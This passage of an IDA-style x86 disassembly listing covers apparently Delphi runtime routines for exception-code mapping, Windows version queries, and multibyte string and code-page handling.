mov eax, [eax] cmp eax, 0C0000092h jg short loc_4000B425 jz short loc_4000B454 cmp eax, 0C000008Eh jg short loc_4000B417 jz short loc_4000B457 sub eax, 0C0000005h jz short loc_4000B460 sub eax, 87h jz short loc_4000B44E dec eax jz short loc_4000B45D jmp short loc_4000B46C ; --------------------------------------------------------------------------- loc_4000B417: ; CODE XREF: sub_4000B3F0+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_4000B454 jz short loc_4000B45A jmp short loc_4000B46C ; --------------------------------------------------------------------------- loc_4000B425: ; CODE XREF: sub_4000B3F0+7j cmp eax, 0C0000096h jg short loc_4000B43D jz short loc_4000B463 sub eax, 0C0000093h jz short loc_4000B45D dec eax jz short loc_4000B44B dec eax jz short loc_4000B451 jmp short loc_4000B46C ; --------------------------------------------------------------------------- loc_4000B43D: ; CODE XREF: sub_4000B3F0+3Aj sub eax, 0C00000FDh jz short loc_4000B469 sub eax, 3Dh jz short loc_4000B466 jmp short loc_4000B46C ; --------------------------------------------------------------------------- loc_4000B44B: ; CODE XREF: sub_4000B3F0+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_4000B44E: ; CODE XREF: sub_4000B3F0+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_4000B451: ; CODE XREF: sub_4000B3F0+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_4000B454: ; CODE XREF: sub_4000B3F0+9j ; sub_4000B3F0+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_4000B457: ; CODE XREF: sub_4000B3F0+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_4000B45A: ; CODE XREF: sub_4000B3F0+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_4000B45D: ; CODE XREF: sub_4000B3F0+23j ; sub_4000B3F0+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_4000B460: ; CODE XREF: sub_4000B3F0+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_4000B463: ; CODE XREF: sub_4000B3F0+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_4000B466: ; CODE XREF: sub_4000B3F0+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_4000B469: ; CODE XREF: sub_4000B3F0+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_4000B46C: ; CODE XREF: sub_4000B3F0+25j ; sub_4000B3F0+33j ... mov al, 16h retn sub_4000B3F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B470 proc near ; DATA XREF: sub_4000B72C+56o ; .bss:off_4001C00Co push ebx mov ebx, eax mov eax, ebx call sub_4000B3F0 movzx eax, al mov eax, dword_4001A93C[eax*8] pop ebx retn sub_4000B470 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B488 proc near ; CODE XREF: sub_4000B654+52p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_125 = byte ptr -125h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4000B643 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_4000B4D9 lea edx, [ebp+var_4] mov eax, off_4001B0CC call sub_400062F0 jmp short loc_4000B4E6 ; --------------------------------------------------------------------------- loc_4000B4D9: ; CODE XREF: sub_4000B488+40j lea edx, [ebp+var_4] mov eax, off_4001B01C call sub_400062F0 loc_4000B4E6: ; CODE XREF: sub_4000B488+4Fj mov esi, [ebx+18h] push 1Ch lea eax, [ebp+var_20] push eax mov eax, [ebx+0Ch] push eax call sub_40006648 ; VirtualQuery cmp [ebp+var_10], 1000h jnz loc_4000B5B8 push 105h lea eax, [ebp+var_125] push eax mov eax, [ebp+var_1C] push eax call sub_40006598 ; GetModuleFileNameA test eax, eax jz loc_4000B5B8 mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+var_125] mov ecx, 105h call sub_40004AF4 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_400080B0 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, off_4001B060 call sub_400062F0 mov ecx, [ebp+var_154] mov dl, 1 mov eax, ds:off_40007440 call sub_4000B06C mov ebx, eax jmp short loc_4000B612 ; --------------------------------------------------------------------------- loc_4000B5B8: ; CODE XREF: sub_4000B488+77j ; sub_4000B488+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, off_4001B020 call sub_400062F0 mov ecx, [ebp+var_170] mov dl, 1 mov eax, ds:off_40007440 call sub_4000B06C mov ebx, eax loc_4000B612: ; CODE XREF: sub_4000B488+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000B64A loc_4000B61F: ; CODE XREF: sub_4000B488+1C0j lea eax, [ebp+var_170] call sub_40004884 lea eax, [ebp+var_154] mov edx, 3 call sub_400048A8 lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000B643: ; DATA XREF: sub_4000B488+2Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000B61F ; --------------------------------------------------------------------------- loc_4000B64A: ; CODE XREF: sub_4000B488+1BAj ; DATA XREF: sub_4000B488+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_4000B488 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B654 proc near ; CODE XREF: sub_400040D8+33p ; .text:40004498p ; DATA XREF: ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4000B70D push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000B3F0 movzx eax, al mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_4000B68E jz short loc_4000B6A5 dec edx sub edx, 0Ah jnb short loc_4000B6B0 loc_4000B68E: ; CODE XREF: sub_4000B654+30j lea eax, dword_4001A93C[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4000B030 mov ebx, eax jmp short loc_4000B6E0 ; --------------------------------------------------------------------------- loc_4000B6A5: ; CODE XREF: sub_4000B654+32j push ebp call sub_4000B488 pop ecx mov ebx, eax jmp short loc_4000B6E0 ; --------------------------------------------------------------------------- loc_4000B6B0: ; CODE XREF: sub_4000B654+38j mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, off_4001AEE0 call sub_400062F0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, ds:off_40006FB0 call sub_4000B06C mov ebx, eax loc_4000B6E0: ; CODE XREF: sub_4000B654+4Fj ; sub_4000B654+5Aj mov eax, ebx mov edx, ds:off_40006F58 call sub_40003E74 test al, al jz short loc_4000B6F7 mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_4000B6F7: ; CODE XREF: sub_4000B654+9Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000B714 loc_4000B704: ; CODE XREF: sub_4000B654+BEj lea eax, [ebp+var_10] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000B70D: ; DATA XREF: sub_4000B654+12o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000B704 ; --------------------------------------------------------------------------- loc_4000B714: ; CODE XREF: sub_4000B654+B8j ; DATA XREF: sub_4000B654+ABo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_4000B654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4000B71C proc near ; CODE XREF: .text:400044B4p ; DATA XREF: sub_4000B72C+3Eo ... call sub_4000AF68 mov eax, 1 call sub_4000486C sub_4000B71C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4000B72C proc near ; CODE XREF: sub_400190AC:loc_400190F2p mov ecx, off_4001AF2C mov dl, 1 mov eax, ds:off_40006EA4 call sub_4000B0EC mov ds:dword_4001E91C, eax mov ecx, off_4001AFFC mov dl, 1 mov eax, ds:off_4000732C call sub_4000B0EC mov ds:dword_4001E920, eax mov eax, off_4001AEEC mov dword ptr [eax], offset sub_4000B2B0 mov eax, off_4001AF5C mov dword ptr [eax], offset sub_4000B71C mov eax, off_4001AF1C mov edx, ds:off_40006DE0 mov [eax], edx mov eax, off_4001AF54 mov dword ptr [eax], offset sub_4000B470 mov eax, off_4001AF60 mov dword ptr [eax], offset sub_4000B654 mov eax, offset sub_4000B3BC mov edx, off_4001B00C mov [edx], eax mov eax, offset sub_4000B3D8 mov edx, off_4001AEDC mov [edx], eax retn sub_4000B72C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B7B0 proc near ; CODE XREF: sub_4000CC50+36p cmp ds:dword_4001E91C, 0 jz short loc_4000B7D3 mov eax, ds:dword_4001E91C mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_4001E91C mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_4001E91C, eax loc_4000B7D3: ; CODE XREF: sub_4000B7B0+7j cmp ds:dword_4001E920, 0 jz short loc_4000B7F6 mov eax, ds:dword_4001E920 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_4001E920 call sub_40003CE8 xor eax, eax mov ds:dword_4001E920, eax loc_4000B7F6: ; CODE XREF: sub_4000B7B0+2Aj mov eax, off_4001AEEC xor edx, edx mov [eax], edx mov eax, off_4001AF5C xor edx, edx mov [eax], edx mov eax, off_4001AF1C xor edx, edx mov [eax], edx mov eax, off_4001AF54 xor edx, edx mov [eax], edx mov eax, off_4001AF60 xor edx, edx mov [eax], edx mov eax, off_4001B00C xor edx, edx mov [eax], edx retn sub_4000B7B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B830 proc near ; CODE XREF: sub_400190AC+55p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp call sub_400065D8 ; GetVersionExA test eax, eax jz short loc_4000B897 mov eax, [esp+94h+var_84] mov dword_4001A7E4, eax mov eax, [esp+94h+var_90] mov dword_4001A7E8, eax mov eax, [esp+94h+var_8C] mov dword_4001A7EC, eax cmp dword_4001A7E4, 1 jnz short loc_4000B87B mov eax, [esp+94h+var_88] and eax, 0FFFFh mov dword_4001A7F0, eax jmp short loc_4000B884 ; --------------------------------------------------------------------------- loc_4000B87B: ; CODE XREF: sub_4000B830+39j mov eax, [esp+94h+var_88] mov dword_4001A7F0, eax loc_4000B884: ; CODE XREF: sub_4000B830+49j mov eax, offset dword_4001A7F4 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_40004AF4 loc_4000B897: ; CODE XREF: sub_4000B830+15j add esp, 94h retn sub_4000B830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B8A0 proc near ; CODE XREF: sub_4000B914+1Bp ; sub_4000B938+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_4000B90C cmp byte ptr [eax+edi], 0 jz short loc_4000B90C test edi, edi jnz short loc_4000B8C7 movzx eax, byte ptr [eax] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000B90C mov dl, 1 jmp short loc_4000B90C ; --------------------------------------------------------------------------- loc_4000B8C7: ; CODE XREF: sub_4000B8A0+12j mov esi, edi dec esi jmp short loc_4000B8CD ; --------------------------------------------------------------------------- loc_4000B8CC: ; CODE XREF: sub_4000B8A0+3Fj dec esi loc_4000B8CD: ; CODE XREF: sub_4000B8A0+2Aj test esi, esi jl short loc_4000B8E1 movzx ecx, byte ptr [eax+esi] movzx ecx, cl bt dword_4001A82C, ecx jb short loc_4000B8CC loc_4000B8E1: ; CODE XREF: sub_4000B8A0+2Fj mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_4000B8F2 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_4000B8F2: ; CODE XREF: sub_4000B8A0+4Bj test ecx, ecx jnz short loc_4000B8FA mov dl, 2 jmp short loc_4000B90C ; --------------------------------------------------------------------------- loc_4000B8FA: ; CODE XREF: sub_4000B8A0+54j movzx eax, byte ptr [eax+edi] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000B90C mov dl, 1 loc_4000B90C: ; CODE XREF: sub_4000B8A0+8j ; sub_4000B8A0+Ej ... mov eax, edx pop edi pop esi retn sub_4000B8A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000B914 proc near ; CODE XREF: sub_40008028+1Cp ; sub_4000805C+3Cp push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000B934 mov eax, ebx call sub_40004D48 mov edx, esi dec edx call sub_4000B8A0 loc_4000B934: ; CODE XREF: sub_4000B914+Fj pop esi pop ebx retn sub_4000B914 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000B938 proc near ; CODE XREF: sub_4000828C+1Bp ; sub_4000BC30+4Ap ... xor ecx, ecx cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000B94A call sub_4000B8A0 mov ecx, eax loc_4000B94A: ; CODE XREF: sub_4000B938+9j mov eax, ecx retn sub_4000B938 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000B950 proc near ; CODE XREF: sub_40009414+F8p push ebx mov ebx, eax mov ecx, ebx test ecx, ecx jz short loc_4000B95E sub ecx, 4 mov ecx, [ecx] loc_4000B95E: ; CODE XREF: sub_4000B950+7j cmp edx, ecx jle short loc_4000B96D mov edx, ebx test edx, edx jz short loc_4000B96D sub edx, 4 mov edx, [edx] loc_4000B96D: ; CODE XREF: sub_4000B950+10j ; sub_4000B950+16j call sub_4000B974 pop ebx retn sub_4000B950 endp ; =============== S U B R O U T I N E ======================================= sub_4000B974 proc near ; CODE XREF: sub_4000B950:loc_4000B96Dp push ebx push esi push edi push ebp mov ebp, edx mov edi, eax xor esi, esi test ebp, ebp jg short loc_4000B986 mov al, 1 jmp short loc_4000B996 ; --------------------------------------------------------------------------- loc_4000B986: ; CODE XREF: sub_4000B974+Cj mov eax, edi test eax, eax jz short loc_4000B991 sub eax, 4 mov eax, [eax] loc_4000B991: ; CODE XREF: sub_4000B974+16j cmp eax, ebp setl al loc_4000B996: ; CODE XREF: sub_4000B974+10j test al, al jnz short loc_4000B9D4 mov esi, ebp cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000B9D4 mov ebx, 1 xor esi, esi cmp ebp, ebx jl short loc_4000B9D4 loc_4000B9B0: ; CODE XREF: sub_4000B974+5Ej movzx eax, byte ptr [edi+ebx-1] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000B9CE mov edx, ebx mov eax, edi call sub_4000BBC0 mov ebx, eax jmp short loc_4000B9CF ; --------------------------------------------------------------------------- loc_4000B9CE: ; CODE XREF: sub_4000B974+4Bj inc ebx loc_4000B9CF: ; CODE XREF: sub_4000B974+58j inc esi cmp ebp, ebx jge short loc_4000B9B0 loc_4000B9D4: ; CODE XREF: sub_4000B974+24j ; sub_4000B974+2Fj ... mov eax, esi pop ebp pop edi pop esi pop ebx retn sub_4000B974 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000B9DC proc near ; CODE XREF: sub_4000BA6C+45p ; sub_4000BAF0+3Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edi, eax mov eax, edi test eax, eax jz short loc_4000B9F8 sub eax, 4 mov eax, [eax] loc_4000B9F8: ; CODE XREF: sub_4000B9DC+15j mov [ebp+var_C], eax mov esi, 1 mov ebx, 1 jmp short loc_4000BA27 ; --------------------------------------------------------------------------- loc_4000BA07: ; CODE XREF: sub_4000B9DC+53j inc esi movzx eax, byte ptr [edi+ebx-1] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000BA26 mov edx, ebx mov eax, edi call sub_4000BBC0 mov ebx, eax jmp short loc_4000BA27 ; --------------------------------------------------------------------------- loc_4000BA26: ; CODE XREF: sub_4000B9DC+3Bj inc ebx loc_4000BA27: ; CODE XREF: sub_4000B9DC+29j ; sub_4000B9DC+48j cmp ebx, [ebp+var_C] jge short loc_4000BA31 cmp esi, [ebp+var_4] jl short loc_4000BA07 loc_4000BA31: ; CODE XREF: sub_4000B9DC+4Ej cmp esi, [ebp+var_4] jnz short loc_4000BA58 cmp ebx, [ebp+var_C] jge short loc_4000BA58 movzx eax, byte ptr [edi+ebx-1] movzx eax, al bt dword_4001A82C, eax jnb short loc_4000BA58 mov edx, ebx mov eax, edi call sub_4000BBC0 dec eax mov ebx, eax loc_4000BA58: ; CODE XREF: sub_4000B9DC+58j ; sub_4000B9DC+5Dj ... mov eax, [ebp+var_8] mov [eax], esi mov eax, [ebp+arg_0] mov [eax], ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4000B9DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000BA6C proc near ; CODE XREF: sub_40009414+109p var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF8h mov ebx, edx mov esi, eax xor eax, eax mov [esp+14h+var_14], eax test ebx, ebx jg short loc_4000BA83 mov al, 1 jmp short loc_4000BA93 ; --------------------------------------------------------------------------- loc_4000BA83: ; CODE XREF: sub_4000BA6C+11j mov eax, esi test eax, eax jz short loc_4000BA8E sub eax, 4 mov eax, [eax] loc_4000BA8E: ; CODE XREF: sub_4000BA6C+1Bj cmp eax, ebx setl al loc_4000BA93: ; CODE XREF: sub_4000BA6C+15j test al, al jnz short loc_4000BAE4 cmp ebx, 1 jle short loc_4000BAE1 cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BAE1 push esp lea ecx, [esp+18h+var_10] mov edi, ebx dec edi mov edx, edi mov eax, esi call sub_4000B9DC cmp edi, [esp+14h+var_10] jle short loc_4000BAC0 mov al, 1 jmp short loc_4000BAD1 ; --------------------------------------------------------------------------- loc_4000BAC0: ; CODE XREF: sub_4000BA6C+4Ej mov eax, esi test eax, eax jz short loc_4000BACB sub eax, 4 mov eax, [eax] loc_4000BACB: ; CODE XREF: sub_4000BA6C+58j cmp eax, [esp+14h+var_14] setle al loc_4000BAD1: ; CODE XREF: sub_4000BA6C+52j test al, al jz short loc_4000BADC xor eax, eax mov [esp+14h+var_14], eax jmp short loc_4000BAE4 ; --------------------------------------------------------------------------- loc_4000BADC: ; CODE XREF: sub_4000BA6C+67j inc [esp+14h+var_14] jmp short loc_4000BAE4 ; --------------------------------------------------------------------------- loc_4000BAE1: ; CODE XREF: sub_4000BA6C+2Ej ; sub_4000BA6C+37j mov [esp+14h+var_14], ebx loc_4000BAE4: ; CODE XREF: sub_4000BA6C+29j ; sub_4000BA6C+6Ej ... mov eax, [esp+14h+var_14] pop ecx pop edx pop edi pop esi pop ebx retn sub_4000BA6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BAF0 proc near ; CODE XREF: sub_40009414+BFp ; sub_40009414+131p var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov ebx, eax xor eax, eax mov [esp+10h+var_10], eax test edx, edx jle short loc_4000BB56 mov esi, ebx mov eax, esi test eax, eax jz short loc_4000BB0D sub eax, 4 mov eax, [eax] loc_4000BB0D: ; CODE XREF: sub_4000BAF0+16j cmp eax, edx jge short loc_4000BB1E mov eax, esi test eax, eax jz short loc_4000BB1C sub eax, 4 mov eax, [eax] loc_4000BB1C: ; CODE XREF: sub_4000BAF0+25j mov edx, eax loc_4000BB1E: ; CODE XREF: sub_4000BAF0+1Fj cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BB53 push esp lea ecx, [esp+14h+var_C] mov eax, ebx call sub_4000B9DC mov eax, esi test eax, eax jz short loc_4000BB3E sub eax, 4 mov eax, [eax] loc_4000BB3E: ; CODE XREF: sub_4000BAF0+47j cmp eax, [esp+10h+var_10] jge short loc_4000BB56 mov eax, esi test eax, eax jz short loc_4000BB4E sub eax, 4 mov eax, [eax] loc_4000BB4E: ; CODE XREF: sub_4000BAF0+57j mov [esp+10h+var_10], eax jmp short loc_4000BB56 ; --------------------------------------------------------------------------- loc_4000BB53: ; CODE XREF: sub_4000BAF0+35j mov [esp+10h+var_10], edx loc_4000BB56: ; CODE XREF: sub_4000BAF0+Ej ; sub_4000BAF0+51j ... mov eax, [esp+10h+var_10] pop ecx pop edx pop esi pop ebx retn sub_4000BAF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BB60 proc near ; CODE XREF: sub_400096A8+7Ap ; sub_4000BB88+2Fp ... push ebx mov ebx, eax cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BB76 push ebx call sub_40006708 ; CharNextA sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_4000BB76: ; CODE XREF: sub_4000BB60+Aj mov eax, 1 pop ebx retn sub_4000BB60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BB80 proc near ; CODE XREF: sub_400096A8+8Bp ; sub_400096A8+9Dp ... push eax call sub_40006708 ; CharNextA retn sub_4000BB80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000BB88 proc near ; CODE XREF: sub_4000ABA4+D2p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BBBC movzx edx, byte ptr [ebx+esi-1] movzx edx, dl bt dword_4001A82C, edx jnb short loc_4000BBBC mov eax, ebx call sub_40004D48 add eax, esi dec eax call sub_4000BB60 loc_4000BBBC: ; CODE XREF: sub_4000BB88+12j ; sub_4000BB88+23j pop esi pop ebx retn sub_4000BB88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BBC0 proc near ; CODE XREF: sub_4000A0D4+1Fp ; sub_4000B974+51p ... push ebx push esi mov ebx, edx mov esi, eax lea eax, [ebx+1] cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BBF4 movzx edx, byte ptr [esi+ebx-1] movzx edx, dl bt dword_4001A82C, edx jnb short loc_4000BBF4 mov eax, esi call sub_40004D48 add eax, ebx dec eax call sub_4000BB60 add eax, ebx loc_4000BBF4: ; CODE XREF: sub_4000BBC0+10j ; sub_4000BBC0+21j pop esi pop ebx retn sub_4000BBC0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000BBF8 proc near ; CODE XREF: sub_4000A1CC+9Dp push ebx push esi push edi push ebp mov esi, edx mov ebx, eax xor edi, edi mov eax, ebx call sub_40004D48 push eax mov eax, esi call sub_40004D48 mov ebp, eax mov eax, ebp pop edx call sub_4000BC30 mov ebx, eax test ebx, ebx jz short loc_4000BC26 mov edi, ebx sub edi, ebp inc edi loc_4000BC26: ; CODE XREF: sub_4000BBF8+27j mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_4000BBF8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BC30 proc near ; CODE XREF: sub_4000A11C+30p ; sub_4000BBF8+1Ep var_18 = dword ptr -18h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebp, edx mov esi, eax xor ebx, ebx test esi, esi jz loc_4000BCC6 cmp byte ptr [esi], 0 jz short loc_4000BCC6 test ebp, ebp jz short loc_4000BCC6 cmp byte ptr [ebp+0], 0 jz short loc_4000BCC6 mov eax, esi call sub_4000815C mov [esp+18h+var_18], eax mov eax, ebp call sub_4000815C mov edi, eax mov edx, ebp mov eax, esi call sub_40008238 mov ebx, eax jmp short loc_4000BCB3 ; --------------------------------------------------------------------------- loc_4000BC74: ; CODE XREF: sub_4000BC30+92j mov edx, ebx sub edx, esi mov eax, esi call sub_4000B938 mov [esp+18h+var_14], al cmp [esp+18h+var_14], 2 jz short loc_4000BC9F push edi push ebp push edi push ebx push 0 push 400h call sub_400064F8 ; CompareStringA cmp eax, 2 jz short loc_4000BCC6 loc_4000BC9F: ; CODE XREF: sub_4000BC30+58j cmp [esp+18h+var_14], 1 jnz short loc_4000BCA7 inc ebx loc_4000BCA7: ; CODE XREF: sub_4000BC30+74j inc ebx mov edx, ebp mov eax, ebx call sub_40008238 mov ebx, eax loc_4000BCB3: ; CODE XREF: sub_4000BC30+42j test ebx, ebx jz short loc_4000BCC4 mov eax, ebx sub eax, esi mov edx, [esp+18h+var_18] sub edx, eax cmp edi, edx jbe short loc_4000BC74 loc_4000BCC4: ; CODE XREF: sub_4000BC30+85j xor ebx, ebx loc_4000BCC6: ; CODE XREF: sub_4000BC30+Fj ; sub_4000BC30+18j ... mov eax, ebx pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_4000BC30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000BCD0 proc near ; CODE XREF: sub_4000ADE0+7Ep push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_4000BD04 mov esi, eax mov edi, esi test bl, bl jz short loc_4000BCFE test esi, esi jz short loc_4000BCFE loc_4000BCEC: ; CODE XREF: sub_4000BCD0+2Cj mov edi, esi inc esi mov edx, ebx mov eax, esi call sub_4000BD04 mov esi, eax test esi, esi jnz short loc_4000BCEC loc_4000BCFE: ; CODE XREF: sub_4000BCD0+16j ; sub_4000BCD0+1Aj mov eax, edi pop edi pop esi pop ebx retn sub_4000BCD0 endp ; =============== S U B R O U T I N E ======================================= sub_4000BD04 proc near ; CODE XREF: sub_4000BCD0+Bp ; sub_4000BCD0+23p push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_40008224 mov edi, eax test edi, edi jz short loc_4000BD3E loc_4000BD1A: ; CODE XREF: sub_4000BD04+38j mov edx, edi sub edx, esi mov eax, esi call sub_4000B938 sub al, 1 jb short loc_4000BD3E jz short loc_4000BD2D jmp short loc_4000BD2E ; --------------------------------------------------------------------------- loc_4000BD2D: ; CODE XREF: sub_4000BD04+25j inc edi loc_4000BD2E: ; CODE XREF: sub_4000BD04+27j inc edi mov edx, ebx mov eax, edi call sub_40008224 mov edi, eax test edi, edi jnz short loc_4000BD1A loc_4000BD3E: ; CODE XREF: sub_4000BD04+14j ; sub_4000BD04+23j mov eax, edi pop edi pop esi pop ebx retn sub_4000BD04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000BD44 proc near ; CODE XREF: sub_4000BDA0+96p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi push 0 call sub_40006558 ; GetCPInfo xor esi, esi jmp short loc_4000BD87 ; --------------------------------------------------------------------------- loc_4000BD5D: ; CODE XREF: sub_4000BD44+51j movzx eax, byte ptr [edi+esi+6] movzx ebx, byte ptr [edi+esi+7] sub bl, al jb short loc_4000BD84 inc ebx mov [ebp+var_1], al loc_4000BD6F: ; CODE XREF: sub_4000BD44+3Ej movzx eax, [ebp+var_1] movzx eax, al bts dword_4001A82C, eax inc [ebp+var_1] dec bl jnz short loc_4000BD6F loc_4000BD84: ; CODE XREF: sub_4000BD44+25j add esi, 2 loc_4000BD87: ; CODE XREF: sub_4000BD44+17j cmp esi, 0Ch jge short loc_4000BD97 movzx eax, byte ptr [edi+esi+6] or al, [edi+esi+7] jnz short loc_4000BD5D loc_4000BD97: ; CODE XREF: sub_4000BD44+46j pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000BD44 endp ; 